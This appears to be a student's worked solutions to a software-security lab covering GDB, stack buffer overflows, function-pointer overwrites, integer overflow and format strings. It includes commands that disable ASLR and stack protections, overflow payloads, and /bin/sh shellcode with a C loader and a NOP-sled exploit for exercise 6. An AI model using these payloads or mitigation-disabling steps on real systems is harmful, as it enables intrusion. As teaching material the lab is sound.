Exercise 1: Kernel features

1. What is your current kernel version? and which kind of security mechanisms does it support to prevent or to mitigate the risk of stack-based buffer overflow exploits?
Solution :

- To check your kernel version use the command `uname -a`.

"../task4/images/kernal_version.JPG" is not created yet. Click to create.

- It supports
  - **ASLR :** Address Space Layout Randomization, Random assignment of addresses like heap, stack, libraries, main executable.
  - **Data execution prevention(DEP)** (NX never execute)
  - **Stack Canaries**

2. Briefly explain how you can disable or circumvent these techniques.?

Solution :

- To disable ASLR,

```
$: sudo bash -c 'echo "kernel.randomize_va_space = 0" >> /etc/sysctl.conf'
```

- To disable Data execution prevention add the following command to your compiling argument,
  - `-z execstack`
- To disable Stack Canaries add the following command to your compiling argument,
  - `-fno-stack-protector`

Exercise 2: GNU Debugger - Helpful commands

1. Compile the C program example1.c with gcc the GNU Compiler Collection (or clang) using the command line : `gcc -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -ggdb` **Explain briefly why we used these options?**
solution :

- Compile and run,

"../task4/images/compile_2_1.JPG" is not created yet. Click to create.

- `-m32`: to generate a 32-bit binary.
- `-fno-stack-protector` : disable the stack canaries.
- `-z execstack` : to disable Data execution prevention so that the content in a stack can be executed.
- `-mpreferred-stack-boundary=2` would align the stack by 4 bytes so that it becomes more consistent and easier to exploit.
- `ggdb`: produces debugging information specifically intended for GDB.

2. Load the program in gdb and run it. Indicate how you achieved this.

solution :

- To load the program in `gdb`, run the following command in shell.

```
$ gdb example1
```

- To run the program use in `gdb`.

```
gdb-peda: run
```

"../task4/images/run_and_load.JPG" is not created yet. Click to create.

- Using the script PEDA with GDB.

3. Set a break point at the function `mult()`.

solution :

"../task4/images/b_mult.JPG" is not created yet. Click to create.

4. Set a break point at a specific position within this function.
solution :

- To set a break point inside `mult()`(in our case after 40 bytes).

"../task4/images/b_mult_f.JPG" is not created yet. Click to create.

5. List the source code at the positions you set the breakpoints.

solution :

"../task4/images/list_code.JPG" is not created yet. Click to create.

6. List all breakpoints you set so far..
solution :

"../task4/images/list_break.JPG" is not created yet. Click to create.

7. Delete the second break point.
solution :

"../task4/images/delete_2.JPG" is not created yet. Click to create.

8) Run the program and print the local variables after the program has entered mult() for the
first time. Explain your results.

"../task4/images/locals.JPG" is not created yet. Click to create.

- Garbage values are displayed in local variables before initialization.

9. Print the content of one single variable.
solution :

"../task4/images/print_single.JPG" is not created yet. Click to create.

10. Print the content of the variables of interest during the execution of the for-loop in mult().(three iterations only!)
solution :

"../task4/images/duringex1.JPG" is not created yet. Click to create.

"../task4/images/duringex2.JPG" is not created yet. Click to create.

"../task4/images/duringex3.JPG" is not created yet. Click to create.

"../task4/images/duringex4.JPG" is not created yet. Click to create.

11. Set a new break point at printHello() and execute the program until it reaches this break point without stepping through every single line of your source code.
solution :

"../task4/images/printhello.JPG" is not created yet. Click to create.

"../task4/images/printhello1.JPG" is not created yet. Click to create.

"../task4/images/printhello2.JPG" is not created yet. Click to create.

12. Print the local variable i in binary format.
solution :

"../task4/images/binary.JPG" is not created yet. Click to create.

13. Print the last byte of the local variable i in binary format.
solution :

"../task4/images/binary_last.JPG" is not created yet. Click to create.

14. Print the first five characters of the local variable hello in character format.
solution :

```
(gdb) x/5c hello
0x56557008:     72 'H'  101 'e' 108 'l' 108 'l' 111 'o'
```

15. Print the content of the local variable hello in hex format.
solution :

```
(gdb) x/12bx  hello
0x56557008:     0x48    0x65    0x6c    0x6c    0x6f    0x20    0x77    0x6f
0x56557010:     0x72    0x6c    0x64    0x21
```

Exercise 3: GNU Debugger - Simple program manipulation

1. Change the values of i and hello before the printf command in printHello() is executed (check your changes by printing the variables with commands of gdb).
solution :

"../task4/images/3_1.JPG" is not created yet. Click to create.

"../task4/images/3_1.1.JPG" is not created yet. Click to create.

2. Change one single character within the string hello to hallo (assigning a new string differing in one character is not accepted here).

solution :

"../task4/images/3_2.JPG" is not created yet. Click to create.

3. Display the address of printf and try to list the source code at this address. Explain your results and repeat this task with the printHello() function
solution :

"../task4/images/3_3.JPG" is not created yet. Click to create.

- `printf` is an external function so it didn't list the source code like the `printHello` (internal function of the program).

4. Use the info command to find out more about the current stack frame.
solution :

"../task4/images/3_4.JPG" is not created yet. Click to create.

5. Display registers and stack
solution :

"../task4/images/3_5.JPG" is not created yet. Click to create.

"../task4/images/print_hello_stack.PNG" is not created yet. Click to create.

Main stack frame

- stack pointer `$esp` register points to top of the stack which contains `0x20` and also EIP and current line points to same address.

Exercise 4: Simple buffer overflow - Overwrite local variables

1. Shortly explain in your own words, why this program is vulnerable.
solution :

- The program is vulnerable because it reads user input till it receives EOF and there is no check on input size which will be stored in buffer. If the user input size is greater than the buffer size, buffer overflow occurs, which can be exploited.

2. Indicate, how you exploit this program to get the desired message "Congratulations! You win!". Deliver your exploit.
solution :

payload:

```
$  python -c "print('A'*20 + '\x30\x40\x20\x10')" | ./example2;
```

"../task4/images/4_2.JPG" is not created yet. Click to create.

3. Show a memory layout of the main stack frame, before and after the exploit (draw and explain it).

solution :

- `readInput` expects user input as an argument which stores in buffer of length 20.
- Since no bounds check on buffer, this can be overflown if the input length is greater than 20.
- Which eventually overwrites the next variable in the stack i.e.`pivot`
- This can be overwritten by specifying the address after th buffer length(`20 bytes buffer + pivot`)

"../task4/images/memory_layout_pivot.PNG" is not created yet. Click to create.

4. Why is this exploit possible and how could a developer have prevented it?

solution :

- This is exploitable because of the `readInput()` which does'nt check the bounds of `buffer`.
- Prevention: Checking bounds
- Sample code

```
void readInput(char *buf) {
 int offset = 0;
 int ch = 0;
 while((ch = getchar()) != EOF && offset < 20) {
  \\ offset limit can also set dynamically
  buf[offset++] = (char)ch;
 }
}
```

"../task4/images/4_4.JPG" is not created yet. Click to create.

Exercise 5: Buffer overflows - Overwrite function pointers

1. Briefly describe the normal behavior of this program and explain why this program is vulnerable.
solution :

- The program expects two cmd line arguments, `arg 1` will be copied into the buffer and `arg 2`, length is checked and passed to `fctPtr`. If the length is greater than 1(`arg2`) then `fctPtr()` points to `printStr()` function else points to `printChar()`.
- This program is vulnerable because argument 1 is copied into the stack without checking if the size of the input is less than the buffer size, which can overflow the stack, and `fctPtr` can be overwritten.

2. Indicate the input to this program and the tools you used to successfully exploit the program

solution :

- Tools used:
    1. GDB debugger
    2. Python

"../task4/images/5_2.1.JPG" is not created yet. Click to create.

"../task4/images/5_2.JPG" is not created yet. Click to create.

3. Together with your input, outline the stack content before (this is, shortly before your input manipulates the future program behavior) and after the exploit
Solution :

"../task4/images/fctPtr_stack_layout.PNG" is not created yet. Click to create.

4.Describe the irregular control flow your input induced (next instruction executed and why).
Solution :
If the `argument2` length is not greater than 1 then `fctPtr` should point to `printChar()`, but its pointing to `printStr`, which prints `String: a`, because `fctPtr` is overwritten with address of `printStr`.

5. Briefly describe a scenario in which you may get full control over a system due to this vulnerability

solution :

"../task4/images/5_5.JPG" is not created yet. Click to create.

The `fctPtr` can be pointed to system address, but this contains `null bytes`, which terminates the payload, unable to point to system function.

"../task4/images/5_5.1.JPG" is not created yet. Click to create.

- But in general, This vulnerability allows arbitrary code execution(if successfully pointed to `system`). A malicious attacker might be able to run commands, thus one may get full control over the system.
- Another way to exploit is using `ret2libc` attack.

Exercise 6: Buffer overflows - A more realistic exploit.

1. Briefly explain why this program is exploitable?
Solution : Function `strcpy` accepts user input `argv[1]` and copies the C string into buffer without checking the bounds. `strcpy` also has no way of knowing low large the destination vuffer size is.

2 Provide some C source code that contains assembler instructions executing a shell (e.g.

/bin/sh) and.
solution

```
#include<stdio.h>
#include<string.h>

unsigned char shellcode[] =
"\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x54\x

int main(){
  printf("Shellcode Length: %d\n", strlen(shellcode));
  int (*ret)() = (int(*)())shellcode;
  ret();
}
```

"../task4/images/binsh.jpg" is not created yet. Click to create.

3. comment your assembler code.
solution :

```
global _start

SECTION .text

_start:
    xor eax, eax  ; clear eax registers
    push eax     ; push eax into stack
    ; push 68732f6e69622f2f2f2f = '////bin/sh' into stack
    push 0x68736162
    push 0x2f6e6962
    push 0x2f2f2f2f
    push esp  ; push stack pointer
    pop ebx ; copy stack pointer into ebx
    push 0xb  ; syscall number 11 for execve
    pop eax
    int 0x80 ; pass control to interupt
```

4. Compile this program and describe how you use some tool to extract the hexadecimal
representation of your binary. Deliver a C header file in which you use your hexadecimal
representation to fill a character array. Deliver a C program which tests your program from
the last step and shortly describe how it works.

```
$ nasm -felf32 shlle32_v2.nasm -o shell32v2.o
```

Using `objdump` to extract machine specific instructions (in hexadecimal) from object file generated `shell32v2.o`

"../task4/images/objdump.PNG" is not created yet. Click to create.

Header file

- payload.h

```
extern char hexContent=
{"\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x54\
```

- c program

```


#include<stdio.h>
#include<string.h>
#include "payload.h"

unsigned char shellcode[] = hexContent
int main(){
  printf("Shellcode Length: %d\n", strlen(shellcode));
  int (*ret)() = (int(*)())shellcode;
  ret();
}
```

5. Modify your assembler code from step two so that it generates a binary that can be copied
completely in your buffer (using strcpy). Indicate your modifications and explain the
constraints your binary has to fulfill and why.

solution

- The object code generated from previous step does'nt produces `null` bytes or any bad characters which can be used directly in this step.

6: Your shellcode is now ready for insertion. Describe in your own words how you construct the
input to exploit example4.c and outline the corresponding content.

Solution

step 1: Fill the buffer with characters(`'AAA..'`) until segmentation fault occurs (which indicates that program has crashed due to illegal read or write(in our case) of memory location).

"../task4/images/segmentation_fault.PNG" is not created yet. Click to create.

step 2: locate Instruction Pointer `ip` and overwrite it with known characters.

"../task4/images/locating_ip.PNG" is not created yet. Click to create.

- Check `dmesg`(tool to examing the buffer) found that `ip` is overwritten with `42424242`(`BBBB` in ASCII) which is last 4 bytes of our input, so the offset is 264.
- set breakpoint at `strcpy` and step inside the function call.

"../task4/images/strcp_breakpoint.PNG" is not created yet. Click to create.

- Examine `$esp` to verify contents have been copied properly into the buffer

"../task4/images/stack.PNG" is not created yet. Click to create.

- Pick any of the starting addresses from the stack `0xffffcefc`(in our case).
- Now use this address to overwrite the instruction pointer `ip` to point to our shellcode.
- Calculate shellcode length(`20 bytes`)
- Fill the buffer with no-ops `\x90` +`20 bytes shellcode` + `return address` which should result to 268 bytes(`offset` + `return address`) and run

"../task4/images/shell_executed.PNG" is not created yet. Click to create.

payload

```
./example4 $(python -c "print('\x90'*208   +
'\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x
 + '\xfc\xce\xff\xff' * 10  )")
```

- payload breakdown
  `208 bytes` (no-ops) + `20 bytes` shellcode + `4 bytes` return address * 10 = `268 bytes`.

Exercise 7: Integer Overflow

1. Explain why you are able to crash the program and what type of error you encountered.
solution :

- Program expects two arguments `argument 1` which is passed to `atoi`(`ascii to Integer`) and stored in a variable `s` (type:`unsigned short`) and argument2 will be copied into `buf` using `snprintf`.
- size of the buffer is checked as `short`(`16 bytes`) and `snprintf` uses `int` value to the argument which stores the maximum number of bytes into the buffer.
- This typecasting results in using a numeric value that is outside of the range of short and `buffer size` check can be bypassed.

2. Briefly explain the input you used to crash the program.
solution :

- Input (argument 1 =`65536` argument2 = `$(python3 -c "print('A'*110)")`)

```
shashi@ubuntu:~$ ./integer_overflow 65538 $(python3 -c "print('A'*110)")
atoi(argv[1]) = 65538, 0x00010002
s = 2, 0x2
Buffer =
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Segmentation fault (core dumped)
```

3. Correct the code to avoid this vulnerability. Deliver the corrected code!
solution :

- Declare variable `s` as int

"../task4/images/7_4.JPG" is not created yet. Click to create.

```
void usage(const char *pname);
//________________________________________________________
int main(int argc, char **argv) {
    int s;  // Modified
    char buf[100];

    if(argc != 3) {
        fprintf(stderr, "Error: wrong number of arguments.\n");
        usage(argv[0]);
        return -1;
    }

    s = atoi(argv[1]);

    printf("atoi(argv[1]) = %d, 0x%08x\n", atoi(argv[1]), atoi(argv[1]));
    printf("s = %hd, 0x%hx\n", s, s);

    if(s > sizeof(buf) - 1) {
        printf("Error: Input is too large\n");
        return -1;
    }

    snprintf(buf, atoi(argv[1])+1, "%s", argv[2]);
    printf("Buffer = '%s'\n", buf);

    return 0;
}
//__________________________________________________________
void usage(const char *pname) {
    ...
}
```

Exercise 8: Format string functionality

1. Roughly outline the stack structure (position in and allocated size on the stack for all arguments to printf)
solution :

- "../task4/images/format_string_with_size.PNG" is not created yet. Click to create.

2. Use a short sample program and gdb to verify your answers from the last subtask. Deliver a
gdb-printout of the stack (and your sample program of course) in which you can identify
and explain the relevant parts and positions of the arguments.

solution :

- Sample program

```
#include <stdio.h>
int main(){
 char *somestring = "Some characters";
 printf("An integer:%d,Guess:%f,Some string:%s\n",3141,3.141,somestring);
}
```

- The main stack frame consisting of `somestring` as its local varaible.

"../task4/images/8_2.png" is not created yet. Click to create.

3. Use the last two subtasks to explain the behavior of the given code when you omit the
argument somestring. If possible verify your results with the printf function of gdb.
solution:
If format string is specifiefd and no parameter is passed, then it fetches the content from top of the stack (in our case `somestring`).

"../task4/images/8_3.JPG" is not created yet. Click to create.